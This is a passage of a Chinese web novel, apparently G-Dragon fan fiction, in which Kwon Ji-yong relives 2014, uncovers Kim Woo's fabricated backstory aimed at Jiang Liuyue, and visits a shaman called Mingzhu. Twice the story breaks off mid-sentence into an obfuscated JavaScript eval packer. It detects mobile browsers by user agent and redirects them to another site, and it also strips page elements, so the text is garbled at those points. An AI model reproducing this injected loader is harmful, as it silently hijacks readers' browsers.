的脸庞年轻的样子,手里牵着江留月的细细软软的手指,本来难熬的会议对于他来说,忽然变成了一方良药,治愈了折磨他许多 年的顽疾。 人生在世,遗憾十有八九,权志龙的绝大多数遗憾,也都在这不算大的房间里了。 真是上天恩赐,让他重来一场吗? 很少有人能面对这样的诱惑也岿然不动,权志龙也是,他这会儿坐在会议室了,其实脑子里早就思绪万千。 重回2014年,他能改变的,想改变的,必须改变的东西那可太多太多了。 时值四月,已经是春日的尾巴,对于权志龙来说,许多事情都还按照他记忆中的样子按班就部的发生着,还没有到他干涉的合适 时机。 而且,权志龙心中始终对于江留月变得不同的人生轨迹耿耿于怀,再加上在这里看到了金优那个狗杂种,一些猜测隐约浮出,只 是还需要一些证据罢了。 他第一次知道金优这个人,是在2015年的11月左右,他的“眼睛”和“耳朵”告诉他江留月在一个聚会上认识了一个人,并在之 后一直保持着联系。 权志龙简单的了解了一下对方,说实话,是个乏善可陈的人,他那不堪又凄凉的身世,是这个人身上唯一的记忆点与谈资。 这样的人是很难得到江留月的注意力的,认为自己非常了解江留月的权志龙这样想着,他无意把江留月困在小小天地,因此也就 放任了江留月和金优的持续来往。 刚开始,是喝杯咖啡,聊个天,看个展览,后来,两个人又一起去了一些奇怪的犄角旮旯的餐厅。 权志龙旁敲侧击的问了一下情况,江留月告诉他,因为金优是个中国人,所以口味很相似,而且知道不少宝藏的中餐厅。 她看起来很高兴,很难得的那种高兴,权志龙不想太扫她的兴,于是就在她这里轻轻放过,转头就让人好好查一下这个家伙。 ……查出来的东西还是和第一次一样寡淡。 普普通通的学习能力,勉强算得上清秀端正的脸庞,在学校也并不受欢迎,家族里也没什么长辈赏识扶持,因为是私生子所以只 能得到一些金钱方面的优待,最近稍微引起一些注意还是因为江留月和他走得比较近的缘故。 权志龙揉了揉自己的眉心。 当时,一定是有什么东西遗漏了。 这样无趣的人,一定很快就和江留月无话可说了,他了解自己一手养大的小孩,被他各种意义上的精心照顾,因为见过太多世面,所以很容易对新鲜事物产生兴趣的同时又很容易三分钟热度的忘记。 奇怪的是,金优一直和江留月保持着稳定的联系,相对应的是,他和江留月的关系变得紧绷,江留月的情绪变得脆弱、波动极 大,权志龙经常能感觉到她激烈偏激的情绪下隐藏的那种对抗感。 但直到被发现和李顺英的“勾当”之前,一切都还在权志龙的掌控中。 说起来…… 李顺英呢? 权志龙怔了一下,这才反应过来,李顺英似乎一直没有出现。 金优取代了李顺英的位置? 权志龙默默地拿出手机开始翻查信息,他很快发现了李顺英和他之间的短信,然后他立刻退出界面来到公司内部的通话软件,调取了公司人事变动公告。 李顺英被发现,南思风被停职,然后金优迅速上位,这一切就仅仅发生在两三天之内。 这和记忆里的一切严重不符。 要说金优什么都没做,这一切只是命运的巧合或者蝴蝶效应,权志龙是不相信的。 他抿着唇思索着这件事情,表情不自觉变得严肃冷凝起来。 “啪!” 权志龙的手背被狠狠打了一下。 他陡然一惊,却看到江留月皱着眉恶狠狠的看着他:“别咬手!!!” 权志龙震惊的捂着自己被打红的手背,反映了两秒之后,低眉顺眼的哼唧了一声,将已经快要啃烂的大拇指从自己的嘴里抽了出 来,很卑微的嘟囔了一句知道了。 原来会议已经结束了,其余人正在陆陆续续往外走,江留月转身又跟谁说着话,她今天背了一个很可爱的侧包,正一边说话一边 调整背链。 权志龙撇撇嘴,手指头去抠另外一个手指头的死皮,却牵动了伤口,啊,对了,伤口,他看着自己指关节的绷带。 老虎哥说什么来着?哦,因为低血糖快要晕倒所以下意识的用手去扶着墙壁维持平衡结果导致的擦伤? ……不太像自己的风格啊。 谜团太多,权志龙索性不再去想,他呼出一口气,站起身活动了一下,江留月这会儿又跟工作人员聊天起来,权志龙靠在椅子上 看着她飞扬的银色发丝。 好微妙的感觉。 权志龙很难形容,但是他又觉得,可能是自己的记忆出错,又或者,确实存在什么平行世界,这个世界的江留月是会有些不同, 所以才会有那种微妙的感觉。 因为江留月在韩国活动期间,完全没有做过银发的造型。 这纯粹是因为,自己漂染过度常常会导致头皮过敏红肿,每次都是江留月帮他做护理,他疼的龇牙咧嘴,江留月也跟着吸气,说自己绝对不会漂染,看起来真的太痛了。 她的确一直没有做过需要漂染的发型,如果碰到那种特别透的发色,她就会选择假发。 真正漂染头发,做了银发造型,是江留月在中国出正规专辑的时候,为了破格的视觉冲击才做了银发,后面还染了蓝色和紫色。 那时候,他们已经分开了。 权志龙并没有亲眼看到过她这个造型,更不要说可以伸手摸到了。 ……是这个原因所以才觉得陌生违和吗? 权志龙将疑问埋入心底,对于现在的这个世界来说,他是个陌生来客,总不好贸然的去询问,免得引起怀疑。 不过呢。 他相信,权志龙,也就是他自己,一定会有很多“眼睛”和“耳朵”在工作。 “志龙哥,金优这个人现在怎么处理呢?” 果然,权志龙找到了这样的信息。 “让他安静几天。” 权志龙往上翻,又看到自己之前发的消息,就如同他猜想的那样,2014年的自己也对这个突然出现的家伙深感不适,并且进行了 详尽的调查,甚至调查书已经发过来了,只是文件还处于未接收状态。 “表情不好呢,哥哥,你哪里不舒服吗?” 权志龙刚打完字,就被江留月冷不丁凑过来的小脑袋瓜给吓了一跳。 他立刻露出笑容,乖巧的摇头,然后又可怜巴巴的点头,露出难受但不敢说,不想让人担心的绿茶表情。 “我没事儿,你要去哪里吗?去嘛,去开心的玩一会儿,我回家休息一会儿就行。” 江留月果然用软绵绵的小手主动握着他的手安慰着他,转头就拒绝了山达拉一起吃饭的邀请,她站得离他很近,两个人的肩膀互 相贴着,江留月大约是穿的太厚了,身上热乎的像个小火炉。 “回家吧,哥,你这样不舒服的样子我能去哪里啊,得好好休息才行,不然的话,首尔的加场你要怎么办啊。” 哦,还加场了啊。 完全没在听的权志龙点了点头,露出柔顺的温柔的笑容。 江留月只觉得她哥可能还在生病,甚至可能烧傻了,她本打算借着和山达拉一起吃饭的机会解决一下金优的事情,眼下看,倒是不合适了。 她伸手摸了摸权志龙的额头,又觉得他额头凉凉的,倒是比自己的手心温度还低,她想用额头测一下,又觉得有点不好意思,只 能小声的嘀咕着加快脚步。 她的手一直握着权志龙的手,权志龙被她半拖着往前走,这倒是新奇的体验,他稳住身子免得被莽撞的小孩给带得撞到,嘴角是 怎么都没办法停止上翘。 “哥,你真的没事吗?” 上了车之后,江留月皱着眉,很认真的说:“要不然我们还是去医院再看看?你今天一整天感觉都精神没办法集中诶。” 一直在接受梳理庞大信息的权志龙摇了摇头,有点虚弱的说道:“没事,就是觉得有点冷。” 他伸出手臂将人拉到自己的怀里:“让哥抱一会儿。” 商务车的座位虽然宽大,两个人叠在一起也挺挤的,而且江留月一直很羞涩于在外面和他有什么亲密行为,因此有些别扭的扑腾 了两下。 权志龙哼哼一声,秀气的细眉拧成一团,江留月就有点心软了,只好勉为其难的坐在了她哥的大腿上。 权志龙觉得好笑又觉得心软,干脆将她的腿也捞起来放在臂弯,像是抱小孩子的姿势抱着她直晃。 江留月惊吓之余又羞得满脸通红,闹着别扭不肯让他接着抱了,挣扎的时候差点没滚到地上去。 “……hyong!!!” 她恼羞成怒地大吼了一声。 权志龙没忍住笑了,赶紧让她重新坐好,小声的跟她说着抱歉,手掌摸着江留月的后背,拍了又拍,才算是勉强哄好。 “你真奇怪。” 江留月小声抱怨着:“又不是没抱过,为什么非得这会儿抱我。” 话是那么说,她还是老老实实的窝在了权志龙怀里,权志龙将脸埋在她的颈窝。 “抱着我真的不痛了吗?” 江留月带着点疑惑问道。 “嗯。” 权志龙回答道。 江留月露出了‘我不懂但我大为震撼’的表情,但她也习惯了权志龙过度的肢体接触,这位哥从很久之前就这样,如果心情不好 或者身体不舒服就会变得超级超级粘人,在没有变成男女朋友的时候,他还会因为无法抱她而心情烦躁。 每当这个时候,江留月就得充当一下镇静剂,她也不需要做别的,就是往权志龙身边一坐,对方的情绪就肉眼可见的平和许多。 不过,如果病得很重,就不太顶用了,权志龙会非常想要抱抱她。 刚开始,江留月是很抗拒的。 虽然嘴巴上说像是亲兄妹一样,但把人抱在怀里当止痛贴还是超过了江留月能接受的肢体接触阈值,所以被贴得太紧的时候,她 会忍不住想要逃开。 说来也奇怪,权志龙耍帅的时候,当着摄像机摸她的头发、耳朵的时候,为了庆祝而拥抱她,把她举起来往空中丢又接住的时 候,背着她走路的时候,为了节目效果甚至在她脸上啵啵的时候,她从来没感觉到什么“男性的压迫感”,甚至不觉得她哥是一 个男性,总之就是很从善如流的接受了。 偏偏权志龙因为生病而脆弱,紧皱着眉低气压,一言不发的抿着唇,看到她就沉默的凑过来贴着她坐下,有时候因为难受而将头 放在她肩膀上的时候,江留月就感到了浑身不自在。 她不懂为什么自己会不自在,只是下意识的做出了逃跑的行为,当权志龙因此更加烦躁的抓着她的时候,她甚至害怕到一巴掌呼在了权志龙脸上。 权志龙当时都蒙了,好一会儿才反应过来,然后自己拉开距离,声音低哑的道歉,说对不起啊塔伊,哥吓到你了。 他自己也觉得很懊悔,但病痛又让他打不起精神好好解释,只能病恹恹的说着抱歉,让塔伊先离开这里。 “你走吧,等哥病好了,再跟你好好道歉。” 江留月犹豫了一下之后,还是跑了,自己魂不守舍了好久,又做了吃的去看权志龙。 实在是权志龙病得仓促,其他人都去赶通告了,经纪人们都跟着去了,只有她来照顾这个病号。 权志龙烧了一整天,整个人都被汗水浸透,他蜷缩在床上怀里搂着一个枕头,江留月使出吃奶的劲儿都没能捞出来。 她叫权志龙起来吃东西,权志龙却动一下都全身都痛,他的痛苦和破碎太过显而易见,江留月都要被吓哭了。 她想要带权志龙去医院,但权志龙却只是将头靠在她的肩膀上。 “会好的。” 权志龙用嘶哑的嗓子安慰她:“别怕,我会好的。” 他说一句话都疼的直哆嗦,江留月的眼泪一下子就下来了,她跑前跑后的想办法,用冰块用湿毛巾,害怕权志龙真给烧坏了。 比起温度,权志龙显然更被关节痛折磨,他痛苦而压抑的急促呼吸让江留月不知所措,最后她只能跪坐在床边把权志龙的头放在自己的大腿上,然后搂着他的脖子为他擦拭汗水。 折磨了权志龙一整天的疼痛感在这一刻被抚平。 生病带来的那种孤寂感与空虚、痛苦,都在这一刻被放入温水里融化。 权志龙在少年时期,是非常羞于启齿自己的孤独的。 唯一能说出口的孤独,是开玩笑的,说没有女朋友所以孤独。 那只是好听的说话,他的孤独来自于踽踽独行的漫长试炼,来自于伴舞舞台结束之后空荡荡的街道和末班地铁,来自于整个团甚至整个公司的担子压上来的时候笔下不成型的乐谱,来自于艳羡与欢呼中无数双眼里狂热的功利心,来自于太早就选定了未知的 人生道路,来自于无法宣之于口的后悔和恐惧。 作为队长他不能垮,面对压力和期待他不能垮,因为很成功,所以在外人面前连“我不会、不擅长、不可以”的话都说不出来, 甚至在家人面前,也要夸下海口说‘下一次我会更厉害,等着换房子换车享福吧’,心理上的压力无处宣泄,只好在身体里凿开 出口。 权志龙也不是那么想要人抱,他也不是非要找江留月来抱。 他只是被凿得四处漏风,急切的需要什么东西支撑住他即将散架的一切。 ‘无条件,到死为止,我要比他们都有出息。’ 所以这没出息的样子,无条件,不能被任何人看见。 真讨厌,明明知道自己要倒下了,却连个合适倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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工人说是雕塑打坏的时候掉出来的,权志龙哦了一声,忽然又顿住。 他让工人放下了那个筐子,自己走过去拿起一个纸团,慢慢打开。 江留月不喜欢权志龙的艺术品们,看到害怕的还会悄悄用纱巾给盖住。 但这个娃娃还行,对着天空张着嘴,哇啦哇啦的。 江留月有一天看着娃娃灵机一动。 “我、我可以解释的。哥,我可以解释的。” 江留月一整个汗流浃背,她跑过来,脸上堆着讨好的笑容,大眼睛忽闪忽闪,嗓子都夹起来了:“OPPA,这都是开玩笑的, OPPA。” 连hyong都不叫了,改叫OPPA,可见事情的严重性。 权志龙打开手里的纸团。 上面用马克笔歪歪扭扭的画着他。 江留月的确没什么美术天赋,画得可太丑了,如果不是旁边有文字说明,权志龙很难跟自己对号入住。 “权志龙这个王八蛋,总有一天我要把他塞到洋葱袋子里放进微波炉叮两分三十秒。” “权志龙是属狗的,一定是属狗的,只有狗才会那么狗,烦死了啊啊啊啊!!!” “权志龙,有没有人说过你这个造型特别丑啊,啊啊啊,我感觉要亲不下去了。” “呵呵,骗子,大话精,我就知道你会说话不算话,应该让龙宫里的乌龟拖你下去喂鲨鱼。” “坏人坏人权志龙,坏人坏人胖志龙,坏人坏人狗志龙。” “把这个狗男人吊起来,然后用飞镖丢他的******” “今天那顿饭太难吃了太贵了……胖头鱼权志龙冤大头权志龙” 权志龙又掏了几下,没有了。 纸团就那么几个,除了这个,他还掏出来一个空的可乐瓶子。 权志龙:“……” 真当垃圾桶啊。 江留月一整个面无人色腿肚子发抖,她知道权志龙很宝贝这些艺术品,但这个娃娃咧个嘴,实在是太适合投篮了!!! 而且,权志龙为什么会发现啊!!!是从玄关那个角度看到了里面的纸团吗!?!! 江留月紧张地吞着口水,不知道要怎么抵赖那些骂人的纸团。 她想了又想,发现根本无从抵赖。 权志龙将纸团一个个打开,一个个看,看完之后捋平了放在旁边桌子上,江留月大气不敢喘,悄摸的伸长了脖子看纸团内容。 苍天可鉴,这都八百年前的事情了,要不是看权志龙打开纸团,她还想不起来呢,这会儿骂的啥为啥骂都想不起来了。 想想权志龙这个暴脾气,江留月屁股一紧,只觉得自己今天晚上要遭大罪了。 “……没有了,哥。” 权志龙把可乐瓶丢到垃圾桶的时候,江留月干巴巴的说道。 “什么没有了。” 权志龙没有笑,他用一种说不出来的表情看着江留月,声音也是飘忽的:“你没有别的要对我说的了?” “……真没了啊,哥。” 江留月搓着小手,显然怂到了极点,她夹着嗓子撒娇:“我、我对哥一直都是很真心的,这种东西,只是、只是好玩……别当真 啊哥,我哪敢骂您啊哥……” 别说她怂,主要是,她哥在有些时候,确实脾气没那么好,而且,还很爱借题发挥。 她眼巴巴的看着权志龙,权志龙也看着她。 家里的灯光总是很暖,江留月看起来毛茸茸的,她应该是挺紧张的,如果是个小猫,一定是夹着尾巴飞机耳了。 权志龙静静的看着她,一直没有笑。 完咯。 江留月给自己画了个十字,她艰难地咽着口水想要不然自己先脱比较快的时候,却看到权志龙忽然低下头,脸颊上有什么一滴滴 的落下来。 江留月:“……?” 江留月干巴巴的搓手:“哥,不是,那东西有那么贵重吗?” 只是丢几个纸团和空可乐瓶,不至于毁坏吧? 权志龙抬起头,他的眼泪簌簌落下,脸上却露出了点笑容,声音也是嘶哑的:“是的,很贵重。” 他抬起手,江留月吓得一哆嗦,哇哇大叫:“别咬我别咬我,我赔给你!!!” 权志龙愣了一下,想要笑,眼泪却流的更凶了,他凑过去,江留月吓得夹着脖子,他用手摸着她柔软的头发,将人拉进怀里,微 微顿了一下之后,吻上了她的嘴唇。 ……? 江留月察觉到这个吻没有生气的气息,至少没有啃她咬她没有气势汹汹的让她喘不上起来,而是还温柔,很小心的,轻轻地触碰着她的嘴唇。 甚至有些生涩。 就像是很久、很久都没有这样亲吻过了一样。 她有些莫名,手却下意识的搂住了权志龙的脖子,哼哼唧唧的为自己讨饶:“哥哥,不生我气了是不是。” 权志龙嗯了一声。 江留月大喜过望,喜滋滋的搂着他的脖子反亲一口,亲的好大一声响,啵的一声。 “志龙哥最好了。” 江留月软绵绵的撒娇。 “哥哥知道那都是假的吧,其实我最爱你了。” 权志龙猛然闭上眼。 眼前一片漆黑。 只有地上的纸片是白的。 铺天盖地,像是雪一样白。 搬家的工人们早就走了,只留给他这一地玩偶的残骸。 这一次他坠落,四分五裂,没有人来接住他,只有这厚厚的,如同积雪一样,要将他吞没的碎片。 上面歪歪扭扭的写着江留月给他最后的留言。 “在杀了自己和恨你之间,我做出了选择。 ” “再见,权志龙。” “我自由了,你也是。” 42.无悔的选择 42.无悔的选择 后悔是世界上最没有意义的事情之一。 在权志龙的前半生中,他一直都是这样认为的。 不管做了什么,结果如何,权志龙都觉得自己已经做了当下能做的最好的选择,哪怕得到了坏的结果,也不需要将情绪和精力浪费在后悔上。 后悔是无济于事的,除了徒增烦恼和压力之外,没有任何作用。 他一直都这样想,也都这样做。 “为什么皱着眉啊,志龙哥。” 江留月用手指抚摸着他的脸庞,她的指尖有些凉凉的,滑动在皮肤上的时候带来些许的痒意。 她用手指擦过权志龙微红的眼角。 “眼泪也变多了,是因为春天要结束了,所以在多愁善感吗?” 她把权志龙的情绪波动归于艺术家的敏感,也许是李顺英的离开让权志龙觉得自己不再能完全控制住她,也许是因为夏日即将来临之前,人的心情就如同一直滚着闷闷的雷声却不下雨的天空一样沉闷。 能让人的情绪起落的东西太多了,也许她也是让权志龙流泪的一环,但江留月此时并没有过多的去细究,她用轻飘飘的话语将这 一切带过。 权志龙忽然晕倒是不是真的因为低血糖,手指上的伤口是不是真的是擦伤,她都没有去细究,因为权志龙掩饰的过于明显了。 每个人的心里都埋藏着秘密,过度探究对方的内心并不会让两个人的感情更亲密,她已经狠狠吃过这种亏了。 还是嘴皮子上下一碰最轻巧,大家都是成年人,这种看似深情的眼神和话语谁还不是信手拈来呢? ……又来了。 那种违和感。 权志龙看着江留月的样子想,他和江留月分别的太久,以至于在这漫长的时间里,江留月和他朝夕相处的那些时光都被反复回忆 咀嚼,他清晰地记得这孩子在每个阶段的成长和模样,性格和喜好。 2014年的江留月,是个陷入了心理沼泽,焦虑症较为严重的脆弱小孩,她敏感到近乎多疑,对他身上发生的每一件事情都想要刨 根问底,还极为在乎在他面前的妆容衣服。 权志龙彼时对这样的江留月感到焦头烂额,越是努力想要维护两个人的关系,好像越是容易搞砸,她像是一个已经产生裂纹的瓷 娃娃,他抱着也不是,放下也不是,想要修补,却束手无策。 眼前的江留月,显然要比他记忆中的看起来健康许多,精神状态也看起来非常稳定,人也活泼一些,处理起事情来,也很是游刃 有余。 权志龙不知道这里的偏差是哪里来的,他想到金优,难道江留月变得比以前要好,是因为金优吗? 她糟糕的、灰暗的23岁,是因为自己没能照顾好她吗? 这样怀疑的想法只是闪过一瞬,权志龙就将它彻底捻灭。 别开玩笑了。 如果金优真的可以照顾好她,那江留月就不会一直躺在病床上没有苏醒了。 而且。 金优是个偏执的疯子,他只想带着江留月一起走向毁灭这件事情,权志龙比任何人都要清楚。 ……要赶紧,弄清楚这个家伙为什么会出现在这才行。 权志龙想着,虽然立刻将金优赶出公司也不是不行,但他总担心这家伙已经暗中做了什么事情,如果影响到江留月就不好了,他 记得这孩子似乎在春末夏初的时候很是病了一场…… ……等等。 江留月2014年病的最重的时候,是什么时候来着? 明明清晰的记忆,不知道为什么蒙上了厚厚的雾气,权志龙努力思索也不得其解,他明明记得……他明明记得……? “……志龙哥?” 江留月看着权志龙皱着眉捂着额头的样子,不由得也有了几分紧张。 她的记忆里,权志龙没有那么频繁的生病过。 “好像是药劲儿上来了,今天还是早点休息吧。” 权志龙胸口也沉沉闷闷的,他的思绪就像是短路的电灯泡一样一明一灭,似乎有什么很强势的东西在企图争夺他的意识。 他看起来的确不太好,江留月找了医院开的药给他吃下,两个人简单洗漱一下之后就休息了。 可能是因为担心他,江留月翻来覆去睡不着,直到权志龙将她捞到了怀里抱紧,然后有一下没一下的抚摸着她的后背。 权志龙自己也晕乎乎的,只是强撑着昏沉的意识在安抚他怀里不安的小恋人。 这下真是小恋人了。 权志龙想,怀里这个真成了孩子一样的存在了。 他和她的年龄差如今真的可以当她的父亲了。 权志龙眼前骤然闪现出许多画面,心中因此生出许多酸涩的情绪。 “睡吧,塔伊。” 权志龙轻轻地用哄孩子的声音哄道:“一切都会没事的。” 不知道过了多久,怀里人的呼吸逐渐均匀放松,权志龙这才松了口气,他撑着昏沉的头拉灭了床头灯,拿起了自己的手机,调出 了白天的对话,点开了金优的调查档案。 金优的档案,他不知道看过多少次,几乎对每一条信息都烂熟于心。 这次发来的档案,也只有细微的差别,曾经不起眼的私生子不知为何在去年秋天忽然开始大放异彩,接连数次投资成功,在家族 里获得了不错的地位,就连自己的母亲也得到了不一样的对待。 ……母亲? 权志龙眯起了眼睛。 金优的母亲,不是已经去世了吗? 等下! 权志龙骤然打了个冷战,他猛然起身,怀里的人因此滑落下去,权志龙吓了一跳,好在江留月已经睡熟了,翻了个身自己依偎到 他的腰旁,手抓着他的睡衣继续沉睡。 “姜宝银……” 权志龙念出了这个名字。 这个女人也曾经出现在2015年的调查报告里,但是当时对于她的描述只有一句话。 【姜宝银,41岁,中国人,金优的生母,在2014年末去世。】 因为这是一个已经去世的人,所以姜宝银从未真的进入过权志龙的视角。 这次不一样了。 调查提前了,姜宝银还在世,且因为她儿子的表现又出现在了宗族的名利场中,这个颇有些传奇色彩的女人身上有着诸多传闻。 例如,她本是巫女的继承者,在为金优的爷爷做法事的时候居住在金家的老宅,还在守孝期间,金优的父亲就和她无媒苟合,不 久之后,姜宝银就怀上了孩子。 本以为要借着这个孩子迈进豪门,但姜宝银的行为激怒了巫女和三神奶奶(备注:韩国的巫女除了有大神之外,还会有自己 的‘奶奶’,这个‘奶奶’一般是上一任去世的巫女,担任通灵的工作),她和金优的父亲都因此病痛缠身,金家的事业也总是 出现岔子。 没多久,金优的父亲就交出姜宝银请求女巫帮忙解决家族的祸患,姜宝银因此被关押在巫女的居所。 在所有人都认为,被憎恶厌弃的姜宝银无法生出孩子的时候,她不仅生下了金优,还攀上了一家来韩国做生意的中国家庭,然后 踢掉了原配小三上位,带着金优去了中国生活,就连国籍都改掉了。 金优七八岁的时候,中国男人出轨了,姜宝银又带着金优回来认祖归宗,并成为了金优父亲的外室直到今日。 “所以,这家伙根本根本不是中国人……” 权志龙只觉得一身冷汗。 他非常清晰的记得,江留月当时对金优青睐有加,就是因为,金优的母亲是个中国人,生下金优之后就被迫和金优的父亲分开, 后面父亲被迫迎娶了政治联姻的对象,金优作为私生子艰难的生活,直到成年之后才回到韩国生活。 他和江留月的人生轨迹,几乎一模一样。 “全是谎言。” 权志龙太阳穴突突直跳。 这家伙,从一开始,就是捏造了一个最能取得江留月好感的身份,这样处心积虑的设计,根本不是一朝一夕,也不会是临时起 意。 江留月被盯上了,这是一个专门为她设计的陷阱。 金优极有耐心的花费了一年的时间和她变得亲近,他到底图什么……? 权志龙只觉得脑子乱哄哄的,他心脏跳得特别剧烈,眼睛和太阳穴都很痛,眼前的画面甚至出现了重叠。 他心知自己现在必须要休息了,于是只好扣上手机躺下闭上眼睛。 这次,他再次回到了白茫茫的世界。 只是不知道为何,这个世界的真实感变得很薄弱,他能感觉到自己的双腿轻飘飘的,更像是一个清醒梦那样,像是随时会被从这 里剥离出去。 这个感觉,就像是他第一次进入这个世界里那样。 江留月久久沉睡不醒,现代医学的手段已经用尽,在医生不知道怎么办的时候,权志龙将自己仅存的希望投注在神明的身上。 他找来了非常厉害的巫师,对方看了江留月的情况之后,给了他一个地址,让他去拜访一个叫做明烛的巫师。 “只有明烛大师有办法做到,但是她因为做错了事情,所以已经向山神请罪多年不出来了,至少这是个希望,你去求求看吧。” 明烛居住在偏僻的山上,权志龙当天就从首尔开车出发,抵达时已经天色微明。 时值春末夏初,刚下过一夜的雨,残花落满了山路,权志龙不擅长爬山,等走到明烛的居所,已经是脸色微微发白。 明烛的居所前是一块空地,无草无花,只有一棵半枯的树。 微亮的清晨,明烛就站在树下,她是一位约莫六七十岁的妇人,穿着传统的韩国服饰,头发盘成一个发髻,一手撑伞,一手擎着 一盏灯笼。 权志龙不知道为何,看到她的瞬间,就眼泪忍不住涌出来。 他毫不犹豫的跪在了泥地里,双手扶着膝盖,哆嗦着,却因为过于疲惫喘着气说不出话。 “好久不见的客人。” 明烛轻轻地叹了口气: “为什么把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028241|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己弄得如此狼狈呢。” 她走过来想要将权志龙扶起来,权志龙却像是孩子一样扶着她的膝盖呜咽着哭了起来,嘴里几乎是无意识的叫着:“奶奶,奶 奶。” 他冥冥之中,似乎得到了什么指引,就像是没有翻开这本书,却已经看到结局一般,近乎嚎啕的大哭起来。 自江留月出事之后,权志龙不知道流了多少眼泪,但那些眼泪,大多没有声音,只是默默地,不停歇的流下。 不知道多少情绪积压在他的胸口,都被他咬着牙忍耐着吞咽下去,不肯发出声响。 可唯独这次,权志龙明白,这就是那根仅剩的稻草了。 “……你这样冲天的八字,有什么可跪下的理由呢?”明烛发出了一声叹息,她粗糙的手抚摸着权志龙的头顶,像是爱抚自己的孙辈那样,声音缓慢而悠长:“执念是杀死自己的刀,孩子啊,你的执念太重了,才会两个人都这么辛苦。” “我知道你为什么来,但,放弃吧。” “那孩子有她要回去的地方,至少不要让她独自留在冰冷的异国,不是吗?” 权志龙怔怔的。 他最近,听了太多要他放弃的话语了。 可没有哪一次,让他辩驳的、愤怒的、质问的话语堵在胸口,只剩下绝望的。 “……我要怎么放弃啊,奶奶,我要怎么放弃啊。” 权志龙最后只能凭借本能,掏出已经支离破碎的悲鸣声。 “从那孩子十五岁开始,我就在她的身边,她生病的时候,流眼泪的时候,饿肚子的时候,挨冻的时候,都是我在她身边,她的 名字也是我取的,她的人生也是我为她挑的……走着我给她选的路,然后走到了死路上,我要怎么办,奶奶。” “我只是想让她不要缩在角落里,不要那样可怜的过一辈子,为什么会变成现在这样?” “她还那么小,还是个孩子,没有真的老去过,那么漫长的人生,她才只走了一点点路,突然就要离开了,我要怎么办,奶 奶。” “奶奶,她就算回到自己的国家又会怎么样呢,她还是一个人啊,奶奶,那孩子……那孩子……没有父亲的庇护,也没有母亲的 疼爱,如果让她一个人回去了,真的让那孩子就这样离开了……” 权志龙的眼角流下的眼泪渗着红色: “谁来祭祀她,谁来每年都在她离开的时候,在她生日的时候给她摆祭桌,买她喜欢吃的东西供奉她呢?” “活着的时候,在我身边的时候,我没有让她饿过肚子,结果走上了死路之后,她要被一个人丢在哪里呢,他们要把她埋在我不 知道的也赶不到的地方……我要怎么办啊奶奶。” “早知道这样的话,早知道这样的话……” 权志龙哽咽着,他知道,不应该在神的使者面前,说出这样对生命不敬的话语。 但是他不知道要怎么说,才能维持住自己不被痛苦拆碎崩坏。 “我应该死在她的前面的。” “至少要让她走我走过的路,至少要等着她。” “我要牵着她的手,让她过暖和的不挨饿的日子。” “我至少要做到这样……” 冰冷的凄凉的春末雨顺着权志龙干涸的眼眶濡湿他的脸庞,他跪在明烛面前,抬起脸看着明烛,褐色的眸子因为过度充血而变成 没有神采的一坨污色。 明烛静静地看着他,很久之后,发出一声长叹。 “……她已经被带到了另外一个世界了,虽然还不是冥界,但……想要踏足那里的人,精神不够强大的话,自己也会被撕裂,即 便这样,你也不后悔吗?” 权志龙颤抖着喘出一口气。 他的身体骤然垮了一下,然后又强撑起来。 他想哭又想笑。 “所以,真的有办法?” 权志龙本黑沉沉的双眼里忽然出现了神采,他艰难的喘了两口气想要调整情绪,却最后只是不知所措的捂住了脸,用哽咽的声音,喃喃的说道: “太好了……” 春末夏初,雨水还带着些萧瑟的凉意。 权志龙拾级而上,眼前的景象变得熟悉,他看到了那棵树,树木看起来郁郁葱葱,明烛盘着发髻坐在树下的竹床上正在跟自己打 花牌。 她看起来年轻许多,脸庞饱满,只是双眼还是很慈爱。 “奶奶。” 权志龙轻声叫了一下。 “是谁把你带到我这来的,孩子?” 明烛把花牌丢在了竹床上,她抬起脸庞看向权志龙,表情有些讶异。 权志龙恭敬地行了个礼。 他抬起头,看向眼前的人。 “冲天的八字呢,你这样的孩子,有什么要向我求的呢?” 明烛看着他: “真奇怪啊,你这孩子,明明是第一次见面,却不知道怎么的,感觉你会在我这里大哭一场。” 她起身拍了拍自己的裙子: “雨要下大了,进来喝杯茶吧,孩子。” 43.梦游廊 43.梦游廊 桌子上的水杯已经空了,碳火上的铁壶发出呼呼的声响,但谁也没有起身。 明烛盘腿坐在榻榻米上,耷拉着的眼皮下是一双亮得骇人的双眼,她静静地盯着权志龙很久,才终于叹了口气。 她用麻布垫着铁壶的把手,将开水冲入茶壶,蒸腾的热气扑在人的脸上,难免让人觉得潮湿朦胧。 许是春日终将走向尾声,这场雨没有尽头一般的下着,权志龙能听到这栋传统韩式木屋外,竹叶被冲刷的声音。 没有人讲话,该讲的话,权志龙已经讲完了,接下来,是明烛该说的话了。 这是一场无声的博弈,正如多年后明烛自己说的那样,哪怕直接用眼睛直接看到了自己的过失,人也是很难启齿承认的。 明烛为权志龙续上了茶水,又给自己倒了一杯,她拿着茶杯,缓缓地吐出一口气。 “……我已经救过他们一次了,还能救他们多少次呢?” 她抬起眼皮看向权志龙,忽然笑了笑: “孩子,你还很年轻,所以不知道巫师们的命吧?” 巫师与其说是神的使者,不如说是被选为了神的仆从,从幼年时期就会因为敏感的体质遭遇这样那样的事情,会招来不干净的东 西,也会吸引一些特殊人群的注意,甚至会给家里的人带来灾祸。 姜宝银就是这样,十二三岁就被父母送来明烛这里避祸,家里也因此和她断了关系,但她自己却非常厌恶成为女巫的命,一直在 试图反抗。 这样的孩子,明烛见多了,女巫要保持和‘神明’的通话,从饮食到生活习惯都有所规定,每个‘神明’的喜好不同,所以对自 己的仆从会有这样那样的要求,明烛自己的‘奶奶’是上一任女巫,她非常讨厌海鲜,所以明烛自从成为徒弟之后就不能吃海 